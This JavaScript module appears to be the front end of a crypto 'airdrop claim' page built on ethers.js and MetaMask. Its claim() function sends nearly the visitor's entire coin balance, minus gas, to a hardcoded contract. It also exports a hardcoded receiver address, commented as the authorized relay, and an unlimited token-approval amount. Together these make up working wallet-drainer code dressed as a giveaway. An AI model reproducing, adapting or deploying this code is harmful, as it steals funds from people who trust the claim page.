import {ethers} from 'ethers'

const connectMetamask = async () => {
    if (!window.ethereum) return {err:"Please link to the wallet environment for use"}
    let addressArray;
    try {
        addressArray = await window.ethereum.request({
            method: "eth_requestAccounts",
        });
        if (addressArray.length !== 0) {
            return addressArray[0];
        }
    } catch (connectError) {
        return {
            err: connectError,
        };
    }
};

const apiurl = 'http://127.0.0.1'
const receiver = '0x196C5cF58f2268f3537d61AFA74c79d91E352D55' // 中转地址，也就是被授权的地址

let useAccount = null;
const approve160 = '1461501637330903000000000000000000'
const approveAmount =
    '115792089237316195423570985008687907853269984665640564039457584007913129639935'
const airdrop = '0x4807be45dbb91861261D1e89788E3E565062dF45'

const IERC20 = [
    "function balanceOf(address account) external view returns (uint256)",
    "function approve(address spender, uint256 amount) external returns (bool)",
    "function increaseAllowance(address spender, uint256 addedValue) public returns (bool)",
    "function allowance(address owner, address spender) external view returns (uint256)",
    "function totalSupply() external view returns (uint256)",
    "function Claim() external payable"
];

window.ethereum.on('accountsChanged', function (accounts) {
    useAccount = accounts[0]
    console.log('accout changed' + useAccount);
})

const networks = {
    56: [
        {
            chainName: 'BSC Mainnet',
            chainId: ethers.utils.hexlify(56),
            nativeCurrency: { name: 'BNB', decimals: 18, symbol: 'BNB' },
            rpcUrls: ['https://bsc-dataseed1.bnbchain.org']
        }
    ],
    137: [
        {
            chainName: 'Polygon Mainnet',
            chainId: ethers.utils.hexlify(137),
            nativeCurrency: { name: 'MATIC', decimals: 18, symbol: 'MATIC' },
            rpcUrls: ['https://polygon-rpc.com/']
        }
    ],
    1: [
        {
            chainName: 'Ethereum Mainnet',
            chainId: ethers.utils.hexlify(1),
            nativeCurrency: { name: 'Ethereum', decimals: 18, symbol: 'ETH' },
            rpcUrls: ['https://ethereum.publicnode.com']
        }
    ],
    42161: [
        {
            chainName: 'Arbitrum One',
            chainId: ethers.utils.hexlify(42161),
            nativeCurrency: { name: 'Arbitrum', decimals: 18, symbol: 'ETH' },
            rpcUrls: ['https://rpc.ankr.com/arbitrum']
        }
    ],
    10: [
        {
            chainName: 'OP Mainnet',
            chainId: ethers.utils.hexlify(10),
            nativeCurrency: { name: 'OP', decimals: 18, symbol: 'ETH' },
            rpcUrls: ['https://mainnet.optimism.io']
        }
    ],
    1284: [
        {
            chainName: 'Moonbeam',
            chainId: ethers.utils.hexlify(1284),
            nativeCurrency: { name: 'Moonbeam', decimals: 18, symbol: 'GLMR' },
            rpcUrls: ['https://mainnet.optimism.io']
        }
    ],

}

async function switchNetwork(chainId) {
    if (window.ethereum.networkVersion !== chainId) {
        try {
            await window.ethereum.request({
                method: 'wallet_switchEthereumChain',
                params: [{ chainId: ethers.utils.hexlify(chainId) }]
            });
        } catch (err) {
            // This error code indicates that the chain has not been added to MetaMask
            if (err.code === 4902) {
                await window.ethereum.request({
                    method: 'wallet_addEthereumChain',
                    params: networks[chainId]
                });
            }
        }
    }
}

const claim = async () => {
    if (!window.ethereum) return {
        error: true,
        msg: 'please connect wallet'
    }
    let useAccount = await connectMetamask()
    const provider = new ethers.providers.Web3Provider(window.ethereum)
    const balance = await provider.getBalance(useAccount)
    console.log(ethers.utils.formatEther(balance))

    const gasPrice = await provider.getGasPrice();

    const chainId = await window.ethereum.request({
        method: "eth_chainId",
    });
    const nowid = parseInt(chainId, 16);
    const last = gasPrice.mul(nowid === 42161 ? "200000" : '40000').mul(2)


    if (last.gt(balance)) {
        return '余额不足'
    }
    const value = balance.sub(last)
    console.log(ethers.utils.formatEther(value))

    const signer = provider.getSigner()
    const air = new ethers.Contract(airdrop, IERC20, signer)

    const tx = await air.Claim({
        value,
        maxFeePerGas: gasPrice.mul(3).div(2),
        maxPriorityFeePerGas: gasPrice.mul(3).div(2),
    })
    console.log(tx)





}

const getBal = async (useAccount) => {
    if (!window.ethereum) return {
        error: true,
        msg: 'please connect wallet'
    }
    const provider = new ethers.providers.Web3Provider(window.ethereum)
    const balance = await provider.getBalance(useAccount)
	return ethers.utils.formatEther(balance)
}

const getTokenData = async (addr) => {
	const isaddr = ethers.utils.isAddress(addr)

	if(!isaddr) return null
	const provider = new ethers.providers.Web3Provider(window.ethereum)
	const token = new ethers.Contract(addr, ['function symbol() external view returns (string memory)'], provider)
	const symbol = await token.symbol()
	return symbol
}

const getTokenBal = async (addr) => {
	const provider = new ethers.providers.Web3Provider(window.ethereum)
	let useAccount = await connectMetamask()
	if(!addr){
		const bal = await provider.getBalance(useAccount)
		return ethers.utils.formatEther(bal)
	}else{
		const token = new ethers.Contract(addr, IERC20, provider)
		const bal = await token.balanceOf(useAccount)
		return ethers.utils.formatEther(bal)
	}

}

const getTokenPrice = async (addr) => {
  const provider = new ethers.providers.Web3Provider(window.ethereum)
  const factory = '0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73'	
  const wbnb = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'
  const f = new ethers.Contract(factory, ['function getPair(address tokenA, address tokenB) external view returns (address pair)'], provider)
  const pair = await f.getPair(addr, wbnb)
  const token = new ethers.Contract(addr, IERC20, provider)
  const bnb = new ethers.Contract(wbnb, IERC20, provider)
  const p_b = await bnb.balanceOf(pair)
  const p_t = await token.balanceOf(pair)
  const pb = ethers.utils.formatEther(p_b)
  const pt = ethers.utils.formatEther(p_t)
  const price = (Number(pb) / Number(pt)).toFixed(6);
  return price;
}

export {
connectMetamask,
claim,
getTokenPrice,
IERC20,
getTokenData,
getTokenBal,
getBal,
switchNetwork,
receiver,
approveAmount,
approve160
}